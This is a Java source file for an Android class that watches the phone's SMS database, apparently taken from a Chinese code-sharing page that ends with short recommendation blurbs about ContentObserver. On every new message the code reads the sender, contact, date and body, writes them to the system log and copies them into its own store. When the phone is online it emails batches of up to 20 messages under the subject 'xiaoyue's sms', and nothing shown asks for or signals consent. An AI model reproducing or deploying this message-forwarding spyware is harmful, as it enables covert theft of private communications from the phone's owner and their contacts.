import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.ContentValues;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Handler;
import android.util.Log;
public class SmsObserver extends ContentObserver {
private static String TAG = "SmsObserver";
private static final String[] SMS_PROJECTION = new String[] { DbHelper.SmsColumns._ID, DbHelper.SmsColumns.ADDRESS, DbHelper.SmsColumns.PERSON, DbHelper.SmsColumns.DATE, DbHelper.SmsColumns.TYPE,
DbHelper.SmsColumns.BODY };
private Context context;
private int _id = -1;
public SmsObserver(Context context, Handler handler) {
super(handler);
this.context = context;
Log.i(TAG, "My Oberver on create");
}
public void onChange(boolean change) {
Log.i(TAG, "Sms onChange");
Uri uri = Uri.parse("content://sms");
Cursor c = context.getContentResolver().query(uri, null, null, null, "_id desc limit 1");
if (c != null) {
boolean first = false;
while (c.moveToNext()) {
int id = c.getInt(c.getColumnIndex(SMS_PROJECTION[0]));
String address = c.getString(c.getColumnIndex(SMS_PROJECTION[1]));
String person = c.getString(c.getColumnIndex(SMS_PROJECTION[2]));
String date = c.getString(c.getColumnIndex(SMS_PROJECTION[3]));
String type = c.getString(c.getColumnIndex(SMS_PROJECTION[4]));
String body = c.getString(c.getColumnIndex(SMS_PROJECTION[5]));
if (_id != id) {
first = true;
Log.e(TAG, "address=" + address);
Log.e(TAG, "date=" + date);
Log.e(TAG, "body=" + body);
ContentValues values = new ContentValues();
values.put(DbHelper.SmsColumns.ADDRESS, address);
if (person != null)
values.put(DbHelper.SmsColumns.PERSON, person);
values.put(DbHelper.SmsColumns.DATE, date);
values.put(DbHelper.SmsColumns.TYPE, type);
values.put(DbHelper.SmsColumns.BODY, body);
context.getContentResolver().insert(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), values);
}
_id = id;
}
c.close();
String html = getSmsHtml(first);
}
}
public String getSmsHtml(boolean first) {
StringBuffer sb = new StringBuffer();
String ids = "";
if (first && isConnectInternet()) {
Cursor cursor = context.getContentResolver().query(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), SMS_PROJECTION, DbHelper.SmsColumns.SEND + "=0", null, "_id desc limit 20");
if (cursor != null) {
sb.append("");
sb.append("");
sb.append("id");
sb.append("address");
sb.append("person");
sb.append("date");
sb.append("type");
sb.append("body");
sb.append("");
while (cursor.moveToNext()) {
sb.append("");
int id = cursor.getInt(cursor.getColumnIndex(SMS_PROJECTION[0]));
String address = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[1]));
String person = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[2]));
String date = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[3]));
String type = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[4]));
String body = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[5]));
sb.append("" + id + "");
sb.append("" + address + "");
if (person != null)
sb.append("" + person + "");
else
sb.append("" + "null" + "");
sb.append("" + formatDate(Long.parseLong(date)) + "");
sb.append("" + type + "");
sb.append("" + body + "");
sb.append("");
ids += id + ",";
}
sb.append("");
ids = ids.substring(0, ids.length() - 1);
}
}
SmsMail mail = new SmsMail("xiaoyue's sms", sb.toString());
if (mail.send()) {
return ids;
}
return null;
}
public String formatDate(long time) {
DateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = new Date();
date.setTime(time);
String s = format.format(date);
return s;
}
public boolean isConnectInternet() {
ConnectivityManager conManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = conManager.getActiveNetworkInfo();
if (networkInfo != null) { // 注意,这个判断一定要的哦,要不然会出错
return networkInfo.isAvailable();
}
return false;
}
}
分享到:
相关推荐
在Android开发中,ContentObserver是系统提供的一种机制,用于监听并响应系统中ContentResolver的特定内容更改。这个类是Android框架的重要组成部分,特别是在处理数据变化和实时同步的应用场景下。本文将深入探讨...
`MyContentObserver`是文件列表中提供的示例类,可能包含了一个具体的`ContentObserver`实现。在实际项目中,你可以根据`onChange()`方法的实现来定制自己的数据变化处理逻辑。 总结来说,自定义`ContentObserver`...
ContentObserver内容观察者是Android系统中用于监听ContentProvider数据变化的一种机制。当ContentProvider的数据发生变化时,ContentObserver能够及时通知应用程序,以便应用可以根据新的数据状态做出相应的反应。...
在Android开发中,ContentObserver(内容观察者)是一种非常重要的组件,它允许应用程序监听系统或应用内部数据的...通过阅读提供的"07_ContentObserver"文件,你可以进一步了解ContentObserver的实战应用和示例代码。
`ProviderDemo`可能是一个实现了ContentProvider的示例项目,它创建了一个基本的数据存储服务,供其他应用查询和修改。 在`ProviderDemo`中,开发者通常会定义一个继承自`android.content.ContentProvider`的类,...
ContentObserver 是 Android 系统提供的一种机制,用于监听数据内容的变化。它与 BroadcastReceiver 类似,但主要用于观察 ContentProvider 中的数据变动。在 Android 中,ContentProvider 是一个管理应用程序间数据...
在Android开发中,ContentObserver类是一个非常重要的工具,它提供了一种机制来观察数据的变化。ContentObserver是基于观察者设计模式,可以监听特定URI(统一资源标识符)引起的数据库的变化。当被观察的URI对应的...
- 在提供的代码示例中,`SMSContentObserver`是一个自定义的ContentObserver,用于监听短信数据库的变化。它在构造函数中接收一个Handler,这通常用于在主线程中更新UI。 - 当`onChange()`方法被调用时,它会查询...
本文将详细讲解如何使用ContentObserver来实现这一功能。ContentObserver是一种观察数据内容变化的机制,通常用于监听数据库(如SQLite)或ContentProvider中的数据变动。 首先,我们需要在AndroidManifest.xml文件...
"Content Observer Demo 源代码" 是一个关于Android开发的示例项目,它演示了如何使用ContentObserver类来监听系统中的数据变化,特别是与短信(SMS)相关的数据变化。在这个项目中,开发者可以学习到如何实时监控...
主要介绍了Android 中使用ContentObserver模式获取短信用正则自动填充验证码,首先使用了ContentObserver监听短信,然后从短信中用正则的分组去拿到验证码,具体实现代码大家参考下本
以下是一个简单的ContentObserver实现示例: ```java public class MyContentObserver extends ContentObserver { public MyContentObserver(Handler handler) { super(handler); } @Override public void ...
本示例源代码旨在帮助初学者理解ContentProvider的工作原理及其使用方法。通过分析和实践这个"ContentProviderDemo"项目,我们可以深入学习到以下关键知识点: 1. **ContentProvider基础** - ContentProvider是...
在提供的压缩包文件"SubjectObserverDemo"中,很可能包含了一个关于Observer模式的实战例子,可能涵盖了ContentObserver和BroadcastReceiver的使用,通过查看这个示例项目,你可以更深入地理解如何在Android应用中...
一个例子实现两个功能,一可以监听飞行模式是否发生改变,二可以监听手机短信数据库发生改变。当收到消息时候,短信数据库监听触发,这时候可以去把收到的短信读出来。...用ContentObserver这个监听类去实现监听短信。